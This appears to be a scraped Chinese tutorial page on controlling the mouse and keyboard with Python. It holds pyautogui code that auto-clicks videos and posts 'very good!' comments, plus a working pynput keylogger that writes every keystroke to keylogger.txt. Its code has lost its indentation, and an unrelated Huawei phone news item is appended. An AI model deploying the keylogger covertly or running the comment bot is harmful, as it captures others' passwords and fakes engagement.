python控制鼠标键盘其实很容易,我们在写程序的时候很多时候会用的到!
python控制鼠标键盘步骤及代码
1、安装类库
pip install pyautogui
2、代码:
import pyautogui,time,random
pyautogui.PAUSE = 3
pyautogui.FAILSAFE = True
width, height = pyautogui.size()
#print(str(width))
#print(str(height))
def drawRct():
for i in range(10):
pyautogui.moveTo(300, 300, duration=0.25)
pyautogui.moveTo(400, 300, duration=0.25)
pyautogui.moveTo(400, 400, duration=0.25)
pyautogui.moveTo(300, 400, duration=0.25)
def mouseScroll():
time.sleep(5)
for i in range(10):
pyautogui.scroll(-200)
time.sleep(2)
def getXy():
try:
while True:
x, y = pyautogui.position()
print(x,y)
except KeyboardInterrupt:
print('\nExit.')
def playVideo(x,y):
for i in range(4):
pyautogui.click(x,y)
x=x+240
playAndComment()
def playAndComment():
time.sleep(random.randint(5,15))
pyautogui.scroll(-400)
pyautogui.scroll(-400)
pyautogui.click(200,300)
pyautogui.typewrite('very good!')
pyautogui.click(900,400)
pyautogui.click(710,16)
if __name__ == '__main__':
time.sleep(5)
pyautogui.scroll(-300)
for i in range(9):
print(str(i))
time.sleep(random.randint(3,5))
#pyautogui.click(360,16)
pyautogui.scroll(-300)
time.sleep(random.randint(1,5))
playVideo(404,330)
直接监听用户键盘操作
from pynput.keyboard import Listener
import logging
location = "./"
logging.basicConfig( filename=(location+"keylogger.txt"), format="%(message)s", level=logging.DEBUG)
def press(key):
logging.info(key)
with Listener(on_press = press) as listener:
print('The program begins to watch the action of keyboard:')
listener.join()
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。
标签:
Python,控制,鼠标键盘
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件!
如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
内蒙古资源网 Copyright www.nmgbbs.com
暂无“Python控制鼠标键盘代码实例”评论...
P70系列延期,华为新旗舰将在下月发布
3月20日消息,近期博主@数码闲聊站 透露,原定三月份发布的华为新旗舰P70系列延期发布,预计4月份上市。
而博主@定焦数码 爆料,华为的P70系列在定位上已经超过了Mate60,成为了重要的旗舰系列之一。它肩负着重返影像领域顶尖的使命。那么这次P70会带来哪些令人惊艳的创新呢?
根据目前爆料的消息来看,华为P70系列将推出三个版本,其中P70和P70 Pro采用了三角形的摄像头模组设计,而P70 Art则采用了与上一代P60 Art相似的不规则形状设计。这样的外观是否好看见仁见智,但辨识度绝对拉满。